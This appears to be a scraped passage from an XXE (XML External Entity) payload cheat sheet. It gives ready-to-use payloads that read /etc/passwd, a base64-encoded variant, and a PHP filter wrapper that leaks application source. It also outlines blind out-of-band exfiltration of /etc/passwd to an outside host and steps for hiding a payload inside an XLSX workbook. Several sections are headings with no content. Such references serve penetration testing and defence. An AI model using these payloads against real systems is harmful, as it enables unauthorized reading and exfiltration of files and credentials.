XML External Entity (XXE)
Exploiting XXE to retrieve files
Classic XXE
Display content of /etc/passwd.
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>Classic XXE Base64 encoded
Base64 string == file://etc/passwd
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>PHP Wrapper inside XXE
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >
]>
<foo>&xxe;</foo>Xinclude attack
Exploiting XXE to perform SSRF attacks
Exploiting blind XXE to exfiltrate data out-of-band
Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.
Blind XXE
The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.
Send the content of /etc/passwd to www.web.com (you may receive only the first line).
XXE in weird files
XXE inside SVG
XXE inside SOAP
XXE inside XLSX file
Extract the excel file.
Add your blind XXE payload inside xl/workbook.xml.
Alternativly, add your payload in xl/sharedStrings.xml:
Rebuild the Excel file.
References
Last updated